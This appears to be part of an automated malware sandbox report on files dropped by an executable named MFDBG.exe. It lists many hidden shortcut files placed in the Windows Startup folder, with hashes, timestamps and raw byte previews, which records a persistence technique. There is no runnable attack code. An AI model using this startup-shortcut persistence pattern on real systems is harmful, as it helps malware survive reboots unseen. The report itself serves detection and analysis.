Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...Us..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24319c6706444af0a416ddb6508ae128.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:56 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944055965633415
Encrypted:	false
SSDEEP:	24:8I8hBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ZZ0R6rMhpBoUBxdRd1nYyg
MD5:	856FF36E848761E735E77C9E8819AE5B
SHA1:	7B1D75D42EC216029CFCEB5368CE036E6F882D8D
SHA-256:	31277283F870F16863A2237E785882C4CF829078CA87F798C98EA2058DFC8761
SHA-512:	D16A835B4E589C06EDB21844BA57D58C40F2205CFEE8AE15D3C291D037A298CF2F80213B6CB17FA17226E1FAA2A1CFE7A7EF473C6D9EEE7E2DC05D177DA698C4
Malicious:	false
Preview:	L..................F...."...]W%.{...6...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_245e789e7cf941b584b8d64a731b57ea.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.946037155127236
Encrypted:	false
SSDEEP:	24:8rhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Pe0R6rMhpBoUBxdRd1nYyg
MD5:	0705DBD18F7EB43347E0D9770E801350
SHA1:	E61023AD7A2069019821D28E617A5844965A5FBF
SHA-256:	7DA2E474649E4BAC20A537628BB676F3501FD3562F1AB20542674D0E78A69686
SHA-512:	338D5520462E1188BAC6772B47CD0721D4AE2493BED3B3B0B432908CC86687A9902BF214054B0AFBF6F614A7AD026BE8DF558ED844361B89D5A75AFB56BF00E4
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24815749e57f472181f138465b4f08d6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942442812084087
Encrypted:	false
SSDEEP:	24:8K5mhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Os60R6rMhpBoUBxdRd1nYyg
MD5:	7E7CD49EC346E2344FE8FAED54F95B0A
SHA1:	DEAD0942177688679BD842A89407EF90D1E01792
SHA-256:	411215117F5026136C1A849B39E6A8BF581E38426D3FC0DA15262551C70C638A
SHA-512:	2172BF9DC83BCBBF211D3A2C5D95F7EC680C8331F873BD8EB44CBA4F79ABB7280D6D794689A0445F74AE787BE68AB58CC32308BB007CFB848FE988CB57F03DFE
Malicious:	false
Preview:	L..................F...."...]W%.{...]F..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_249a3e25b899472eb6c08e6bdfe717a9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94242493885401
Encrypted:	false
SSDEEP:	24:8MDhBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8M3C0R6rMhpBoUBxdRd1nYyg
MD5:	4414CAF9F5578523A9384ADEC86ADFE4
SHA1:	58859DEF6CEB418E8748908059317F95399371DD
SHA-256:	00A984461CFA1C6AB84193E1D9932834D897B76D2469B818D6FB2BF9F40537E8
SHA-512:	8BAE9588149F5F72E2A58FA1BC85CE1D5CBCC6D04F6A1AC2DA0F9FCAE7136ED5327B47C838D4AC4967A8515C18F8BD01B8369CB1F0492F51A19C458A09B20044
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s#.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24a81ac1b8fc4ee294b65ca0a105df3b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93866752695402
Encrypted:	false
SSDEEP:	24:8chBfyQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8uaF0R6rMhpBoUBxdRd1nYyg
MD5:	57FFCB17544BE8A64B586786C1E1A2B6
SHA1:	C829125464DF695B838723C3BE6AAEE52A087BC5
SHA-256:	A394D8C731587FC2773286DCAA8141B8F46C365D4D2EE8AB4482C52D7CAD9A70
SHA-512:	3F86F032FBFF995940A4BF5774F9D47190E0C15C22515829C34D16C001D963CCBFF26184D062E4A4DF1127CF6B017DE993749A1B10FF088C15A1AEDE4C491F9B
Malicious:	false
Preview:	L..................F...."...]W%.{...(...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24b03bbcdcc94b669b3d586084339082.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:13 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941847826931498
Encrypted:	false
SSDEEP:	24:8whBfeczp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ie0R6rMhpBoUBxdRd1nYyg
MD5:	658E22C74BF6FA802965774B8D8D6A15
SHA1:	9C9314A61EB47939D776DCCA7724DF5D9F7B252F
SHA-256:	E942815AE61F603904EE1E78A4BA9E3E1267FB06E1E89F1AF0E50FECDDA5AC7C
SHA-512:	BF21A4AAE95AF7CDCD1C53F1AAA3C74FB3682ECD8E0203BA254432DA1B4CCEA5C766091EE76F5AA9C96FA90A9156C98B08428A858D7284A290BF32A6647EE086
Malicious:	false
Preview:	L..................F...."...]W%.{.....Q.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_251afaa95e784ed1b114f9a014eb5df4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942205863897634
Encrypted:	false
SSDEEP:	24:8n9hBf1kD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8n9r0R6rMhpBoUBxdRd1nYyg
MD5:	8C7D3E1DAE6EA9D36102DA664582D2D0
SHA1:	A1DB1C45338C814EE09744EC95B4F289EF22B4C7
SHA-256:	F0BDDDB6FC60761A297200CD4D9319BFE4102AF14D313C3B0A6836B7D353BB40
SHA-512:	A772925A6F3BC353AE28C889AC6D80A13720CC4D1608C142744770C9C07DC256BB210BE85E2D659F7DDB41F037899332BA0ECB44461CBC17D0CFA495E480F2E2
Malicious:	false
Preview:	L..................F...."...]W%.{.....J.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....(.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_25313b730ea84ed8b7ffcd004d64411d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939113551118494
Encrypted:	false
SSDEEP:	24:8wphBfU+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8gcT0R6rMhpBoUBxdRd1nYyg
MD5:	930D222C526721344C1818C813762A64
SHA1:	C6B33EB8091DA65A58EC70AEE6C82F57C59BEE56
SHA-256:	568F4C19C5DC2884AE80C04C229A3A90CDAD296A220CA9228E830BD032B04A59
SHA-512:	3D7F5A4AD9700540BF8A50230BC0A060DE740C66E09B982917AF696CA787C8A6D1A32879D6FE13C3D81E82B94DE4AD8CD88291C32B6B00D9B797297A9544C960
Malicious:	false
Preview:	L..................F...."...]W%.{...,;..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...Q(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_25abebec116c4834bf11c94f13d7d780.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943697928667277
Encrypted:	false
SSDEEP:	24:8SOhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SE70R6rMhpBoUBxdRd1nYyg
MD5:	802147987E2A1C89341D3663E4AF2D29
SHA1:	F0A58049621F260C7C1634CBE17E59B320259764
SHA-256:	098AF90F6F29A695520C0C9802FE70B44587678ACC421071C0CEFD052D3B2945
SHA-512:	E98ECB03648872F02FCF20531069FAAC5FF0DDBE3F17FD8C610720468EDBE962A33199F3E1EA9EF7401DDE509562A17CF163F07C35E89F5882A3611536EEDF83
Malicious:	false
Preview:	L..................F...."...]W%.{...E.}.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_25ad07aefc7c49e8a360ef41da00d867.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936993399614909
Encrypted:	false
SSDEEP:	24:8Y2hBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Xr0R6rMhpBoUBxdRd1nYyg
MD5:	78CA10D876AE5E5DB602EDA17172694D
SHA1:	1F3C13F9F5E1CCF9D385814F52BEAD84839B89D2
SHA-256:	2B0BE133956D320CA5FBCDD2EBCF3F94F5F983268404C5200922BFF6D2B9DD46
SHA-512:	BFADE63F3D7E819A2904BF9C98423E8A61C06C4743C040FD76CC7A75536C7D48E8973B6E5609D21A4ABF513A4F7E7784D66703B4A1CAEFD1A6E622DABF35786F
Malicious:	false
Preview:	L..................F...."...]W%.{...g\|..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_25ceb06067524f8d9dc7d999262d7f88.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935984371396651
Encrypted:	false
SSDEEP:	24:8FhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8VR0R6rMhpBoUBxdRd1nYyg
MD5:	62AD11E61122760CE034FD349F1A345E
SHA1:	A442B39FA6186EB1AE1C4CFCD230AE6CB5E25841
SHA-256:	DFEAE0BEADC2951D59A670F7E467AE5427C27A07C53AF1A58D47D5D6CE33C9B1
SHA-512:	17100B3BB05C4CA98652C24370893DAD817FF43E0EF86C7365A3015AE2E14747EAB1CE75A907B2C6C1908EF458324D7232FFFA76825F33870F0F2DE0E04E75CE
Malicious:	false
Preview:	L..................F...."...]W%.{...0...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_25de4af73e7b4bd28508fa4ecc82223a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935752390900444
Encrypted:	false
SSDEEP:	24:8ahhBf3+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8APT0R6rMhpBoUBxdRd1nYyg
MD5:	690F8EEBF28B74B6631C95CCD545A48D
SHA1:	E7ED99108B7315C76B16D1ABFD6233FDE8121907
SHA-256:	6066B0A5CC4B4527637826A3256C52FC6DEC9054A662D095E38DEBED142AF232
SHA-512:	681E2009279432B7DA45DD5E868142E392943FF708595F148193F2615FF0B737D3C37EC52EA16966BDD18984DAD0168AE4F8D82899AB6BACDCA65D02D29F21C0
Malicious:	false
Preview:	L..................F...."...]W%.{...M.P.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...u.=.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_25ecead2939248c7bc792bb73f0cd54d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937533214396427
Encrypted:	false
SSDEEP:	24:8yhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84+0R6rMhpBoUBxdRd1nYyg
MD5:	2F8880C61DBBA501E55843C39BFA9EED
SHA1:	447B1694DBE03620E1C15822E0B03FF74EDE62AF
SHA-256:	5C71052CBD5A45A06602B18517C265A13C6BF040AB36DE94BCB925A2FFDCE679
SHA-512:	42F82B7A795FF477336EE02697F1D4A9DB5D708AA9059BAF9C6615689D203DCB3B8B0168939C4145536536CA02D6AF0E296204A2A4012AE1E95D08A5B0895F84
Malicious:	false
